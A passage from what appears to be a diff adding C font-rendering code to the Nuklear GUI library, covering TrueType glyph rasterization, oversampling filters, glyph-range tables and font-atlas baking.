/* swap it to the beginning so it won't move around */ + t = p[0]; + p[0] = p[m]; + p[m] = t; + + /* partition loop */ + i=1; + j=n-1; + for(;;) { + /* handling of equality is crucial here */ + /* for sentinels & efficiency with duplicates */ + for (;;++i) { + if (!NK_TT__COMPARE(&p[i], &p[0])) break; + } + for (;;--j) { + if (!NK_TT__COMPARE(&p[0], &p[j])) break; + } + + /* make sure we haven't crossed */ + if (i >= j) break; + t = p[i]; + p[i] = p[j]; + p[j] = t; + + ++i; + --j; + + } + + /* recurse on smaller side, iterate on larger */ + if (j < (n-i)) { + nk_tt__sort_edges_quicksort(p,j); + p = p+i; + n = n-i; + } else { + nk_tt__sort_edges_quicksort(p+i, n-i); + n = j; + } + } +} +NK_INTERN void +nk_tt__sort_edges(struct nk_tt__edge *p, int n) +{ + nk_tt__sort_edges_quicksort(p, n); + nk_tt__sort_edges_ins_sort(p, n); +} +NK_INTERN void +nk_tt__rasterize(struct nk_tt__bitmap *result, struct nk_tt__point *pts, + int *wcount, int windings, float scale_x, float scale_y, + float shift_x, float shift_y, int off_x, int off_y, int invert, + struct nk_allocator *alloc) +{ + float y_scale_inv = invert ? -scale_y : scale_y; + struct nk_tt__edge *e; + int n,i,j,k,m; + int vsubsample = 1; + /* vsubsample should divide 255 evenly; otherwise we won't reach full opacity */ + + /* now we have to blow out the windings into explicit edge lists */ + n = 0; + for (i=0; i < windings; ++i) + n += wcount[i]; + + e = (struct nk_tt__edge*) + alloc->alloc(alloc->userdata, 0,(sizeof(*e) * (nk_size)(n+1))); + if (e == 0) return; + n = 0; + + m=0; + for (i=0; i < windings; ++i) + { + struct nk_tt__point *p = pts + m; + m += wcount[i]; + j = wcount[i]-1; + for (k=0; k < wcount[i]; j=k++) { + int a=k,b=j; + /* skip the edge if horizontal */ + if (p[j].y == p[k].y) + continue; + + /* add edge from j to k to the list */ + e[n].invert = 0; + if (invert ? p[j].y > p[k].y : p[j].y < p[k].y) { + e[n].invert = 1; + a=j,b=k; + } + e[n].x0 = p[a].x * scale_x + shift_x; + e[n].y0 = (p[a].y * y_scale_inv + shift_y) * (float)vsubsample; + e[n].x1 = p[b].x * scale_x + shift_x; + e[n].y1 = (p[b].y * y_scale_inv + shift_y) * (float)vsubsample; + ++n; + } + } + + /* now sort the edges by their highest point (should snap to integer, and then by x) */ + /*STBTT_sort(e, n, sizeof(e[0]), nk_tt__edge_compare); */ + nk_tt__sort_edges(e, n); + /* now, traverse the scanlines and find the intersections on each scanline, use xor winding rule */ + nk_tt__rasterize_sorted_edges(result, e, n, vsubsample, off_x, off_y, alloc); + alloc->free(alloc->userdata, e); +} +NK_INTERN void +nk_tt__add_point(struct nk_tt__point *points, int n, float x, float y) +{ + if (!points) return; /* during first pass, it's unallocated */ + points[n].x = x; + points[n].y = y; +} +NK_INTERN int +nk_tt__tesselate_curve(struct nk_tt__point *points, int *num_points, + float x0, float y0, float x1, float y1, float x2, float y2, + float objspace_flatness_squared, int n) +{ + /* tesselate until threshold p is happy... + * @TODO warped to compensate for non-linear stretching */ + /* midpoint */ + float mx = (x0 + 2*x1 + x2)/4; + float my = (y0 + 2*y1 + y2)/4; + /* versus directly drawn line */ + float dx = (x0+x2)/2 - mx; + float dy = (y0+y2)/2 - my; + if (n > 16) /* 65536 segments on one curve better be enough! */ + return 1; + + /* half-pixel error allowed... need to be smaller if AA */ + if (dx*dx+dy*dy > objspace_flatness_squared) { + nk_tt__tesselate_curve(points, num_points, x0,y0, + (x0+x1)/2.0f,(y0+y1)/2.0f, mx,my, objspace_flatness_squared,n+1); + nk_tt__tesselate_curve(points, num_points, mx,my, + (x1+x2)/2.0f,(y1+y2)/2.0f, x2,y2, objspace_flatness_squared,n+1); + } else { + nk_tt__add_point(points, *num_points,x2,y2); + *num_points = *num_points+1; + } + return 1; +} +NK_INTERN struct nk_tt__point* +nk_tt_FlattenCurves(struct nk_tt_vertex *vertices, int num_verts, + float objspace_flatness, int **contour_lengths, int *num_contours, + struct nk_allocator *alloc) +{ + /* returns number of contours */ + struct nk_tt__point *points=0; + int num_points=0; + float objspace_flatness_squared = objspace_flatness * objspace_flatness; + int i; + int n=0; + int start=0; + int pass; + + /* count how many "moves" there are to get the contour count */ + for (i=0; i < num_verts; ++i) + if (vertices[i].type == NK_TT_vmove) ++n; + + *num_contours = n; + if (n == 0) return 0; + + *contour_lengths = (int *) + alloc->alloc(alloc->userdata,0, (sizeof(**contour_lengths) * (nk_size)n)); + if (*contour_lengths == 0) { + *num_contours = 0; + return 0; + } + + /* make two passes through the points so we don't need to realloc */ + for (pass=0; pass < 2; ++pass) + { + float x=0,y=0; + if (pass == 1) { + points = (struct nk_tt__point *) + alloc->alloc(alloc->userdata,0, (nk_size)num_points * sizeof(points[0])); + if (points == 0) goto error; + } + num_points = 0; + n= -1; + + for (i=0; i < num_verts; ++i) + { + switch (vertices[i].type) { + case NK_TT_vmove: + /* start the next contour */ + if (n >= 0) + (*contour_lengths)[n] = num_points - start; + ++n; + start = num_points; + + x = vertices[i].x, y = vertices[i].y; + nk_tt__add_point(points, num_points++, x,y); + break; + case NK_TT_vline: + x = vertices[i].x, y = vertices[i].y; + nk_tt__add_point(points, num_points++, x, y); + break; + case NK_TT_vcurve: + nk_tt__tesselate_curve(points, &num_points, x,y, + vertices[i].cx, vertices[i].cy, + vertices[i].x, vertices[i].y, + objspace_flatness_squared, 0); + x = vertices[i].x, y = vertices[i].y; + break; + default: break; + } + } + (*contour_lengths)[n] = num_points - start; + } + return points; + +error: + alloc->free(alloc->userdata, points); + alloc->free(alloc->userdata, *contour_lengths); + *contour_lengths = 0; + *num_contours = 0; + return 0; +} +NK_INTERN void +nk_tt_Rasterize(struct nk_tt__bitmap *result, float flatness_in_pixels, + struct nk_tt_vertex *vertices, int num_verts, + float scale_x, float scale_y, float shift_x, float shift_y, + int x_off, int y_off, int invert, struct nk_allocator *alloc) +{ + float scale = scale_x > scale_y ? scale_y : scale_x; + int winding_count, *winding_lengths; + struct nk_tt__point *windings = nk_tt_FlattenCurves(vertices, num_verts, + flatness_in_pixels / scale, &winding_lengths, &winding_count, alloc); + + NK_ASSERT(alloc); + if (windings) { + nk_tt__rasterize(result, windings, winding_lengths, winding_count, + scale_x, scale_y, shift_x, shift_y, x_off, y_off, invert, alloc); + alloc->free(alloc->userdata, winding_lengths); + alloc->free(alloc->userdata, windings); + } +} +NK_INTERN void +nk_tt_MakeGlyphBitmapSubpixel(const struct nk_tt_fontinfo *info, unsigned char *output, + int out_w, int out_h, int out_stride, float scale_x, float scale_y, + float shift_x, float shift_y, int glyph, struct nk_allocator *alloc) +{ + int ix0,iy0; + struct nk_tt_vertex *vertices; + int num_verts = nk_tt_GetGlyphShape(info, alloc, glyph, &vertices); + struct nk_tt__bitmap gbm; + + nk_tt_GetGlyphBitmapBoxSubpixel(info, glyph, scale_x, scale_y, shift_x, + shift_y, &ix0,&iy0,0,0); + gbm.pixels = output; + gbm.w = out_w; + gbm.h = out_h; + gbm.stride = out_stride; + + if (gbm.w && gbm.h) + nk_tt_Rasterize(&gbm, 0.35f, vertices, num_verts, scale_x, scale_y, + shift_x, shift_y, ix0,iy0, 1, alloc); + alloc->free(alloc->userdata, vertices); +} + +/*------------------------------------------------------------- + * Bitmap baking + * --------------------------------------------------------------*/ +NK_INTERN int +nk_tt_PackBegin(struct nk_tt_pack_context *spc, unsigned char *pixels, + int pw, int ph, int stride_in_bytes, int padding, struct nk_allocator *alloc) +{ + int num_nodes = pw - padding; + struct nk_rp_context *context = (struct nk_rp_context *) + alloc->alloc(alloc->userdata,0, sizeof(*context)); + struct nk_rp_node *nodes = (struct nk_rp_node*) + alloc->alloc(alloc->userdata,0, (sizeof(*nodes ) * (nk_size)num_nodes)); + + if (context == 0 || nodes == 0) { + if (context != 0) alloc->free(alloc->userdata, context); + if (nodes != 0) alloc->free(alloc->userdata, nodes); + return 0; + } + + spc->width = pw; + spc->height = ph; + spc->pixels = pixels; + spc->pack_info = context; + spc->nodes = nodes; + spc->padding = padding; + spc->stride_in_bytes = (stride_in_bytes != 0) ? stride_in_bytes : pw; + spc->h_oversample = 1; + spc->v_oversample = 1; + + nk_rp_init_target(context, pw-padding, ph-padding, nodes, num_nodes); + if (pixels) + NK_MEMSET(pixels, 0, (nk_size)(pw*ph)); /* background of 0 around pixels */ + return 1; +} +NK_INTERN void +nk_tt_PackEnd(struct nk_tt_pack_context *spc, struct nk_allocator *alloc) +{ + alloc->free(alloc->userdata, spc->nodes); + alloc->free(alloc->userdata, spc->pack_info); +} +NK_INTERN void +nk_tt_PackSetOversampling(struct nk_tt_pack_context *spc, + unsigned int h_oversample, unsigned int v_oversample) +{ + NK_ASSERT(h_oversample <= NK_TT_MAX_OVERSAMPLE); + NK_ASSERT(v_oversample <= NK_TT_MAX_OVERSAMPLE); + if (h_oversample <= NK_TT_MAX_OVERSAMPLE) + spc->h_oversample = h_oversample; + if (v_oversample <= NK_TT_MAX_OVERSAMPLE) + spc->v_oversample = v_oversample; +} +NK_INTERN void +nk_tt__h_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, + int kernel_width) +{ + unsigned char buffer[NK_TT_MAX_OVERSAMPLE]; + int safe_w = w - kernel_width; + int j; + + for (j=0; j < h; ++j) + { + int i; + unsigned int total; + NK_MEMSET(buffer, 0, (nk_size)kernel_width); + + total = 0; + + /* make kernel_width a constant in common cases so compiler can optimize out the divide */ + switch (kernel_width) { + case 2: + for (i=0; i <= safe_w; ++i) { + total += (unsigned int)(pixels[i] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 2); + } + break; + case 3: + for (i=0; i <= safe_w; ++i) { + total += (unsigned int)(pixels[i] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 3); + } + break; + case 4: + for (i=0; i <= safe_w; ++i) { + total += (unsigned int)pixels[i] - buffer[i & NK_TT__OVER_MASK]; + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 4); + } + break; + case 5: + for (i=0; i <= safe_w; ++i) { + total += (unsigned int)(pixels[i] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 5); + } + break; + default: + for (i=0; i <= safe_w; ++i) { + total += (unsigned int)(pixels[i] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / (unsigned int)kernel_width); + } + break; + } + + for (; i < w; ++i) { + NK_ASSERT(pixels[i] == 0); + total -= (unsigned int)(buffer[i & NK_TT__OVER_MASK]); + pixels[i] = (unsigned char) (total / (unsigned int)kernel_width); + } + pixels += stride_in_bytes; + } +} +NK_INTERN void +nk_tt__v_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, + int kernel_width) +{ + unsigned char buffer[NK_TT_MAX_OVERSAMPLE]; + int safe_h = h - kernel_width; + int j; + + for (j=0; j < w; ++j) + { + int i; + unsigned int total; + NK_MEMSET(buffer, 0, (nk_size)kernel_width); + + total = 0; + + /* make kernel_width a constant in common cases so compiler can optimize out the divide */ + switch (kernel_width) { + case 2: + for (i=0; i <= safe_h; ++i) { + total += (unsigned int)(pixels[i*stride_in_bytes] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 2); + } + break; + case 3: + for (i=0; i <= safe_h; ++i) { + total += (unsigned int)(pixels[i*stride_in_bytes] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 3); + } + break; + case 4: + for (i=0; i <= safe_h; ++i) { + total += (unsigned int)(pixels[i*stride_in_bytes] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 4); + } + break; + case 5: + for (i=0; i <= safe_h; ++i) { + total += (unsigned int)(pixels[i*stride_in_bytes] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 5); + } + break; + default: + for (i=0; i <= safe_h; ++i) { + total += (unsigned int)(pixels[i*stride_in_bytes] - buffer[i & NK_TT__OVER_MASK]); + buffer[(i+kernel_width) & NK_TT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / (unsigned int)kernel_width); + } + break; + } + + for (; i < h; ++i) { + NK_ASSERT(pixels[i*stride_in_bytes] == 0); + total -= (unsigned int)(buffer[i & NK_TT__OVER_MASK]); + pixels[i*stride_in_bytes] = (unsigned char) (total / (unsigned int)kernel_width); + } + pixels += 1; + } +} +NK_INTERN float +nk_tt__oversample_shift(int oversample) +{ + if (!oversample) + return 0.0f; + + /* The prefilter is a box filter of width "oversample", */ + /* which shifts phase by (oversample - 1)/2 pixels in */ + /* oversampled space. We want to shift in the opposite */ + /* direction to counter this. */ + return (float)-(oversample - 1) / (2.0f * (float)oversample); +} +NK_INTERN int +nk_tt_PackFontRangesGatherRects(struct nk_tt_pack_context *spc, + struct nk_tt_fontinfo *info, struct nk_tt_pack_range *ranges, + int num_ranges, struct nk_rp_rect *rects) +{ + /* rects array must be big enough to accommodate all characters in the given ranges */ + int i,j,k; + k = 0; + + for (i=0; i < num_ranges; ++i) { + float fh = ranges[i].font_size; + float scale = (fh > 0) ? nk_tt_ScaleForPixelHeight(info, fh): + nk_tt_ScaleForMappingEmToPixels(info, -fh); + ranges[i].h_oversample = (unsigned char) spc->h_oversample; + ranges[i].v_oversample = (unsigned char) spc->v_oversample; + for (j=0; j < ranges[i].num_chars; ++j) { + int x0,y0,x1,y1; + int codepoint = ranges[i].first_unicode_codepoint_in_range ? + ranges[i].first_unicode_codepoint_in_range + j : + ranges[i].array_of_unicode_codepoints[j]; + + int glyph = nk_tt_FindGlyphIndex(info, codepoint); + nk_tt_GetGlyphBitmapBoxSubpixel(info,glyph, scale * (float)spc->h_oversample, + scale * (float)spc->v_oversample, 0,0, &x0,&y0,&x1,&y1); + rects[k].w = (nk_rp_coord) (x1-x0 + spc->padding + (int)spc->h_oversample-1); + rects[k].h = (nk_rp_coord) (y1-y0 + spc->padding + (int)spc->v_oversample-1); + ++k; + } + } + return k; +} +NK_INTERN int +nk_tt_PackFontRangesRenderIntoRects(struct nk_tt_pack_context *spc, + struct nk_tt_fontinfo *info, struct nk_tt_pack_range *ranges, + int num_ranges, struct nk_rp_rect *rects, struct nk_allocator *alloc) +{ + int i,j,k, return_value = 1; + /* save current values */ + int old_h_over = (int)spc->h_oversample; + int old_v_over = (int)spc->v_oversample; + /* rects array must be big enough to accommodate all characters in the given ranges */ + + k = 0; + for (i=0; i < num_ranges; ++i) + { + float fh = ranges[i].font_size; + float recip_h,recip_v,sub_x,sub_y; + float scale = fh > 0 ? nk_tt_ScaleForPixelHeight(info, fh): + nk_tt_ScaleForMappingEmToPixels(info, -fh); + + spc->h_oversample = ranges[i].h_oversample; + spc->v_oversample = ranges[i].v_oversample; + + recip_h = 1.0f / (float)spc->h_oversample; + recip_v = 1.0f / (float)spc->v_oversample; + + sub_x = nk_tt__oversample_shift((int)spc->h_oversample); + sub_y = nk_tt__oversample_shift((int)spc->v_oversample); + + for (j=0; j < ranges[i].num_chars; ++j) + { + struct nk_rp_rect *r = &rects[k]; + if (r->was_packed) + { + struct nk_tt_packedchar *bc = &ranges[i].chardata_for_range[j]; + int advance, lsb, x0,y0,x1,y1; + int codepoint = ranges[i].first_unicode_codepoint_in_range ? + ranges[i].first_unicode_codepoint_in_range + j : + ranges[i].array_of_unicode_codepoints[j]; + int glyph = nk_tt_FindGlyphIndex(info, codepoint); + nk_rp_coord pad = (nk_rp_coord) spc->padding; + + /* pad on left and top */ + r->x = (nk_rp_coord)((int)r->x + (int)pad); + r->y = (nk_rp_coord)((int)r->y + (int)pad); + r->w = (nk_rp_coord)((int)r->w - (int)pad); + r->h = (nk_rp_coord)((int)r->h - (int)pad); + + nk_tt_GetGlyphHMetrics(info, glyph, &advance, &lsb); + nk_tt_GetGlyphBitmapBox(info, glyph, scale * (float)spc->h_oversample, + (scale * (float)spc->v_oversample), &x0,&y0,&x1,&y1); + nk_tt_MakeGlyphBitmapSubpixel(info, spc->pixels + r->x + r->y*spc->stride_in_bytes, + (int)(r->w - spc->h_oversample+1), (int)(r->h - spc->v_oversample+1), + spc->stride_in_bytes, scale * (float)spc->h_oversample, + scale * (float)spc->v_oversample, 0,0, glyph, alloc); + + if (spc->h_oversample > 1) + nk_tt__h_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, + r->w, r->h, spc->stride_in_bytes, (int)spc->h_oversample); + + if (spc->v_oversample > 1) + nk_tt__v_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, + r->w, r->h, spc->stride_in_bytes, (int)spc->v_oversample); + + bc->x0 = (nk_ushort) r->x; + bc->y0 = (nk_ushort) r->y; + bc->x1 = (nk_ushort) (r->x + r->w); + bc->y1 = (nk_ushort) (r->y + r->h); + bc->xadvance = scale * (float)advance; + bc->xoff = (float) x0 * recip_h + sub_x; + bc->yoff = (float) y0 * recip_v + sub_y; + bc->xoff2 = ((float)x0 + r->w) * recip_h + sub_x; + bc->yoff2 = ((float)y0 + r->h) * recip_v + sub_y; + } else { + return_value = 0; /* if any fail, report failure */ + } + ++k; + } + } + /* restore original values */ + spc->h_oversample = (unsigned int)old_h_over; + spc->v_oversample = (unsigned int)old_v_over; + return return_value; +} +NK_INTERN void +nk_tt_GetPackedQuad(struct nk_tt_packedchar *chardata, int pw, int ph, + int char_index, float *xpos, float *ypos, struct nk_tt_aligned_quad *q, + int align_to_integer) +{ + float ipw = 1.0f / (float)pw, iph = 1.0f / (float)ph; + struct nk_tt_packedchar *b = (struct nk_tt_packedchar*)(chardata + char_index); + if (align_to_integer) { + int tx = nk_ifloorf((*xpos + b->xoff) + 0.5f); + int ty = nk_ifloorf((*ypos + b->yoff) + 0.5f); + + float x = (float)tx; + float y = (float)ty; + + q->x0 = x; + q->y0 = y; + q->x1 = x + b->xoff2 - b->xoff; + q->y1 = y + b->yoff2 - b->yoff; + } else { + q->x0 = *xpos + b->xoff; + q->y0 = *ypos + b->yoff; + q->x1 = *xpos + b->xoff2; + q->y1 = *ypos + b->yoff2; + } + q->s0 = b->x0 * ipw; + q->t0 = b->y0 * iph; + q->s1 = b->x1 * ipw; + q->t1 = b->y1 * iph; + *xpos += b->xadvance; +} + +/* ------------------------------------------------------------- + * + * FONT BAKING + * + * --------------------------------------------------------------*/ +struct nk_font_bake_data { + struct nk_tt_fontinfo info; + struct nk_rp_rect *rects; + struct nk_tt_pack_range *ranges; + nk_rune range_count; +}; + +struct nk_font_baker { + struct nk_allocator alloc; + struct nk_tt_pack_context spc; + struct nk_font_bake_data *build; + struct nk_tt_packedchar *packed_chars; + struct nk_rp_rect *rects; + struct nk_tt_pack_range *ranges; +}; + +NK_GLOBAL const nk_size nk_rect_align = NK_ALIGNOF(struct nk_rp_rect); +NK_GLOBAL const nk_size nk_range_align = NK_ALIGNOF(struct nk_tt_pack_range); +NK_GLOBAL const nk_size nk_char_align = NK_ALIGNOF(struct nk_tt_packedchar); +NK_GLOBAL const nk_size nk_build_align = NK_ALIGNOF(struct nk_font_bake_data); +NK_GLOBAL const nk_size nk_baker_align = NK_ALIGNOF(struct nk_font_baker); + +NK_INTERN int +nk_range_count(const nk_rune *range) +{ + const nk_rune *iter = range; + NK_ASSERT(range); + if (!range) return 0; + while (*(iter++) != 0); + return (iter == range) ? 0 : (int)((iter - range)/2); +} +NK_INTERN int +nk_range_glyph_count(const nk_rune *range, int count) +{ + int i = 0; + int total_glyphs = 0; + for (i = 0; i < count; ++i) { + int diff; + nk_rune f = range[(i*2)+0]; + nk_rune t = range[(i*2)+1]; + NK_ASSERT(t >= f); + diff = (int)((t - f) + 1); + total_glyphs += diff; + } + return total_glyphs; +} +NK_API const nk_rune* +nk_font_default_glyph_ranges(void) +{ + NK_STORAGE const nk_rune ranges[] = {0x0020, 0x00FF, 0}; + return ranges; +} +NK_API const nk_rune* +nk_font_chinese_glyph_ranges(void) +{ + NK_STORAGE const nk_rune ranges[] = { + 0x0020, 0x00FF, + 0x3000, 0x30FF, + 0x31F0, 0x31FF, + 0xFF00, 0xFFEF, + 0x4e00, 0x9FAF, + 0 + }; + return ranges; +} +NK_API const nk_rune* +nk_font_cyrillic_glyph_ranges(void) +{ + NK_STORAGE const nk_rune ranges[] = { + 0x0020, 0x00FF, + 0x0400, 0x052F, + 0x2DE0, 0x2DFF, + 0xA640, 0xA69F, + 0 + }; + return ranges; +} +NK_API const nk_rune* +nk_font_korean_glyph_ranges(void) +{ + NK_STORAGE const nk_rune ranges[] = { + 0x0020, 0x00FF, + 0x3131, 0x3163, + 0xAC00, 0xD79D, + 0 + }; + return ranges; +} +NK_INTERN void +nk_font_baker_memory(nk_size *temp, int *glyph_count, + struct nk_font_config *config_list, int count) +{ + int range_count = 0; + int total_range_count = 0; + struct nk_font_config *iter, *i; + + NK_ASSERT(config_list); + NK_ASSERT(glyph_count); + if (!config_list) { + *temp = 0; + *glyph_count = 0; + return; + } + *glyph_count = 0; + for (iter = config_list; iter; iter = iter->next) { + i = iter; + do {if (!i->range) iter->range = nk_font_default_glyph_ranges(); + range_count = nk_range_count(i->range); + total_range_count += range_count; + *glyph_count += nk_range_glyph_count(i->range, range_count); + } while ((i = i->n) != iter); + } + *temp = (nk_size)*glyph_count * sizeof(struct nk_rp_rect); + *temp += (nk_size)total_range_count * sizeof(struct nk_tt_pack_range); + *temp += (nk_size)*glyph_count * sizeof(struct nk_tt_packedchar); + *temp += (nk_size)count * sizeof(struct nk_font_bake_data); + *temp += sizeof(struct nk_font_baker); + *temp += nk_rect_align + nk_range_align + nk_char_align; + *temp += nk_build_align + nk_baker_align; +} +NK_INTERN struct nk_font_baker* +nk_font_baker(void *memory, int glyph_count, int count, struct nk_allocator *alloc) +{ + struct nk_font_baker *baker; + if (!memory) return 0; + /* setup baker inside a memory block */ + baker = (struct nk_font_baker*)NK_ALIGN_PTR(memory, nk_baker_align); + baker->build = (struct nk_font_bake_data*)NK_ALIGN_PTR((baker + 1), nk_build_align); + baker->packed_chars = (struct nk_tt_packedchar*)NK_ALIGN_PTR((baker->build + count), nk_char_align); + baker->rects = (struct nk_rp_rect*)NK_ALIGN_PTR((baker->packed_chars + glyph_count), nk_rect_align); + baker->ranges = (struct nk_tt_pack_range*)NK_ALIGN_PTR((baker->rects + glyph_count), nk_range_align); + baker->alloc = *alloc; + return baker; +} +NK_INTERN int +nk_font_bake_pack(struct nk_font_baker *baker, + nk_size *image_memory, int *width, int *height, struct nk_recti *custom, + const struct nk_font_config *config_list, int count, + struct nk_allocator *alloc) +{ + NK_STORAGE const nk_size max_height = 1024 * 32; + const struct nk_font_config *config_iter, *it; + int total_glyph_count = 0; + int total_range_count = 0; + int range_count = 0; + int i = 0; + + NK_ASSERT(image_memory); + NK_ASSERT(width); + NK_ASSERT(height); + NK_ASSERT(config_list); + NK_ASSERT(count); + NK_ASSERT(alloc); + + if (!image_memory || !width || !height || !config_list || !count) return nk_false; + for (config_iter = config_list; config_iter; config_iter = config_iter->next) { + it = config_iter; + do {range_count = nk_range_count(it->range); + total_range_count += range_count; + total_glyph_count += nk_range_glyph_count(it->range, range_count); + } while ((it = it->n) != config_iter); + } + /* setup font baker from temporary memory */ + for (config_iter = config_list; config_iter; config_iter = config_iter->next) { + it = config_iter; + do {if (!nk_tt_InitFont(&baker->build[i++].info, (const unsigned char*)it->ttf_blob, 0)) + return nk_false; + } while ((it = it->n) != config_iter); + } + *height = 0; + *width = (total_glyph_count > 1000) ? 1024 : 512; + nk_tt_PackBegin(&baker->spc, 0, (int)*width, (int)max_height, 0, 1, alloc); + { + int input_i = 0; + int range_n = 0; + int rect_n = 0; + int char_n = 0; + + if (custom) { + /* pack custom user data first so it will be in the upper left corner*/ + struct nk_rp_rect custom_space; + nk_zero(&custom_space, sizeof(custom_space)); + custom_space.w = (nk_rp_coord)(custom->w); + custom_space.h = (nk_rp_coord)(custom->h); + + nk_tt_PackSetOversampling(&baker->spc, 1, 1); + nk_rp_pack_rects((struct nk_rp_context*)baker->spc.pack_info, &custom_space, 1); + *height = NK_MAX(*height, (int)(custom_space.y + custom_space.h)); + + custom->x = (short)custom_space.x; + custom->y = (short)custom_space.y; + custom->w = (short)custom_space.w; + custom->h = (short)custom_space.h; + } + + /* first font pass: pack all glyphs */ + for (input_i = 0, config_iter = config_list; input_i < count && config_iter; + config_iter = config_iter->next) { + it = config_iter; + do {int n = 0; + int glyph_count; + const nk_rune *in_range; + const struct nk_font_config *cfg = it; + struct nk_font_bake_data *tmp = &baker->build[input_i++]; + + /* count glyphs + ranges in current font */ + glyph_count = 0; range_count = 0; + for (in_range = cfg->range; in_range[0] && in_range[1]; in_range += 2) { + glyph_count += (int)(in_range[1] - in_range[0]) + 1; + range_count++; + } + + /* setup ranges */ + tmp->ranges = baker->ranges + range_n; + tmp->range_count = (nk_rune)range_count; + range_n += range_count; + for (i = 0; i < range_count; ++i) { + in_range = &cfg->range[i * 2]; + tmp->ranges[i].font_size = cfg->size; + tmp->ranges[i].first_unicode_codepoint_in_range = (int)in_range[0]; + tmp->ranges[i].num_chars = (int)(in_range[1]- in_range[0]) + 1; + tmp->ranges[i].chardata_for_range = baker->packed_chars + char_n; + char_n += tmp->ranges[i].num_chars; + } + + /* pack */ + tmp->rects = baker->rects + rect_n; + rect_n += glyph_count; + nk_tt_PackSetOversampling(&baker->spc, cfg->oversample_h, cfg->oversample_v); + n = nk_tt_PackFontRangesGatherRects(&baker->spc, &tmp->info, + tmp->ranges, (int)tmp->range_count, tmp->rects); + nk_rp_pack_rects((struct nk_rp_context*)baker->spc.pack_info, tmp->rects, (int)n); + + /* texture height */ + for (i = 0; i < n; ++i) { + if (tmp->rects[i].was_packed) + *height = NK_MAX(*height, tmp->rects[i].y + tmp->rects[i].h); + } + } while ((it = it->n) != config_iter); + } + NK_ASSERT(rect_n == total_glyph_count); + NK_ASSERT(char_n == total_glyph_count); + NK_ASSERT(range_n == total_range_count); + } + *height = (int)nk_round_up_pow2((nk_uint)*height); + *image_memory = (nk_size)(*width) * (nk_size)(*height); + return nk_true; +} +NK_INTERN void +nk_font_bake(struct nk_font_baker *baker, void *image_memory, int width, int height, + struct nk_font_glyph *glyphs, int glyphs_count, + const struct nk_font_config *config_list, int font_count) +{ + int input_i = 0; + nk_rune glyph_n = 0; + const struct nk_font_config *config_iter; + const struct nk_font_config *it; + + NK_ASSERT(image_memory); + NK_ASSERT(width); + NK_ASSERT(height); + NK_ASSERT(config_list); + NK_ASSERT(baker); + NK_ASSERT(font_count); + NK_ASSERT(glyphs_count); + if (!image_memory || !width || !height || !config_list || + !font_count || !glyphs || !glyphs_count) + return; + + /* second font pass: render glyphs */ + nk_zero(image_memory, (nk_size)((nk_size)width * (nk_size)height)); + baker->spc.pixels = (unsigned char*)image_memory; + baker->spc.height = (int)height; + for (input_i = 0, config_iter = config_list; input_i < font_count && config_iter; + config_iter = config_iter->next) { + it = config_iter; + do {const struct nk_font_config *cfg = it; + struct nk_font_bake_data *tmp = &baker->build[input_i++]; + nk_tt_PackSetOversampling(&baker->spc, cfg->oversample_h, cfg->oversample_v); + nk_tt_PackFontRangesRenderIntoRects(&baker->spc, &tmp->info, tmp->ranges, + (int)tmp->range_count, tmp->rects, &baker->alloc); + } while ((it = it->n) != config_iter); + } nk_tt_PackEnd(&baker->spc, &baker->alloc); + + /* third pass: setup font and glyphs */ + for (input_i = 0, config_iter = config_list; input_i < font_count && config_iter; + config_iter = config_iter->next) { + it = config_iter; + do {nk_size i = 0; + int char_idx = 0; + nk_rune glyph_count = 0; + const struct nk_font_config *cfg = it; + struct nk_font_bake_data *tmp = &baker->build[input_i++]; + struct nk_baked_font *dst_font = cfg->font; + + float font_scale = nk_tt_ScaleForPixelHeight(&tmp->info, cfg->size); + int unscaled_ascent, unscaled_descent, unscaled_line_gap; + nk_tt_GetFontVMetrics(&tmp->info, &unscaled_ascent, &unscaled_descent, + &unscaled_line_gap); + + /* fill baked font */ + if (!cfg->merge_mode) { + dst_font->ranges = cfg->range; + dst_font->height = cfg->size; + dst_font->ascent = ((float)unscaled_ascent * font_scale); + dst_font->descent = ((float)unscaled_descent * font_scale); + dst_font->glyph_offset = glyph_n; + // Need to zero this, or it will carry over from a previous + // bake, and cause a segfault when accessing glyphs[]. + dst_font->glyph_count = 0; + } + + /* fill own baked font glyph array */ + for (i = 0; i < tmp->range_count; ++i) { + struct nk_tt_pack_range *range = &tmp->ranges[i]; + for (char_idx = 0; char_idx < range->num_chars; char_idx++) + { + nk_rune codepoint = 0; + float dummy_x = 0, dummy_y = 0; + struct nk_tt_aligned_quad q; + struct nk_font_glyph *glyph; + + /* query glyph bounds from stb_truetype */ + const struct nk_tt_packedchar *pc = &range->chardata_for_range[char_idx]; + if (!pc->x0 && !pc->x1 && !pc->y0 && !pc->y1) continue; + codepoint = (nk_rune)(range->first_unicode_codepoint_in_range + char_idx); + nk_tt_GetPackedQuad(range->chardata_for_range, (int)width, + (int)height, char_idx, &dummy_x, &dummy_y, &q, 0); + + 